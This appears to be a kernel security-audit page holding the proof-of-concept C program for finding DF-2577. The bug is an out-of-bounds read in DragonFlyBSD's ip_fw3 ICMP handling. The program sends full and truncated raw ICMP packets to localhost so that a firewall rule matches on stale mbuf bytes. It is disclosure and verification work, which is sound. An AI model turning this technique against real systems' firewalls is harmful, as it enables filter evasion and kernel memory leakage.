⬢ DragonFlyBSD Kernel Audit
DF-2577 / fw3_icmp_oob.c
← back to finding ↓ download raw
/* DF-2577 -- ip_fw3_chk ICMP 2-byte mbuf backing-store over-read.
 * ip_fw3.c:400 does PULLUP_TO(hlen + 4) but :403 reads icmp->icmp_id
 * (offset hlen+4..hlen+5).  A 4-byte ICMP body (ip_len = hlen+4) leaves
 * icmp_id reading 2 bytes PAST the packet data, sourcing stale mbuf bytes
 * into dst_port (f_id) used for rule matching.
 *
 * Rig: rule "count icmp dst-port 4660" (0x1234).  Send via ONE raw socket:
 *   phase 1: full 8-byte echo with icmp_id=0x1234 (legit match, warms the
 *            mbuf residue),
 *   phase 2: short 4-byte ICMP (type/code/cksum only, NO id) x N.
 * If rule-100 counter grows in phase 2, the firewall matched an icmp_id
 * that is NOT in the packet -> read from stale mbuf backing store.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

static unsigned short
cksum(unsigned short *p, int n)
{
	unsigned long s = 0;
	while (n > 1) { s += *p++; n -= 2; }
	if (n) s += *(unsigned char *)p;
	s = (s >> 16) + (s & 0xffff);
	s += (s >> 16);
	return ~s;
}

static int
send_icmp(int s, int shortp, unsigned short id)
{
	struct sockaddr_in dst;
	struct icmp icq;
	struct icmp *icp = &icq;
	int len, n;

	memset(&icq, 0, sizeof(icq));
	if (shortp) {
		/* only type/code/cksum -- 4 bytes of ICMP, ip_len=24 */
		icp->icmp_type = ICMP_ECHO;
		icp->icmp_code = 0;
		icp->icmp_cksum = 0;
		icp->icmp_cksum = cksum((unsigned short *)icp, 4);
		len = 4;
	} else {
		icp->icmp_type = ICMP_ECHO;
		icp->icmp_code = 0;
		icp->icmp_id = htons(id);
		icp->icmp_seq = htons(1);
		icp->icmp_cksum = 0;
		/* pad to 32 bytes so full frame same mbuf size class */
		memset((char *)icp + 8, 0x41, 24);
		icp->icmp_cksum = cksum((unsigned short *)icp, 32);
		len = 32;
	}
	memset(&dst, 0, sizeof(dst));
	dst.sin_family = AF_INET;
	dst.sin_len = sizeof(dst);
	dst.sin_addr.s_addr = htonl(0x7f000001);	/* 127.0.0.1 */
	n = sendto(s, icp, len, 0, (struct sockaddr *)&dst, sizeof(dst));
	if (n < 0) { fprintf(stderr, "sendto: %s\n", strerror(errno)); }
	return n;
}

int
main(int argc, char **argv)
{
	int s, i, rounds = (argc > 1) ? atoi(argv[1]) : 20;

	setvbuf(stdout, NULL, _IONBF, 0);
	s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
	if (s < 0) { perror("raw socket"); return 1; }

	/* warm-up: unrelated short ICMPs first (control residue baseline) */
	for (i = 0; i < 5; i++)
		send_icmp(s, 1, 0);
	printf("phase 0: 5 short ICMPs sent (control, check counters)\n");
	sleep(1);

	/* phase 1: full echo id=0x1234 */
	for (i = 0; i < 5; i++)
		send_icmp(s, 0, 0x1234);
	printf("phase 1: 5 full echo (id=0x1234, 32B) sent\n");
	sleep(1);

	/* phase 2: short ICMPs, NO id field at all */
	for (i = 0; i < rounds; i++)
		send_icmp(s, 1, 0);
	printf("phase 2: %d short (4-byte ICMP) sent\n", rounds);
	sleep(1);
	return 0;
}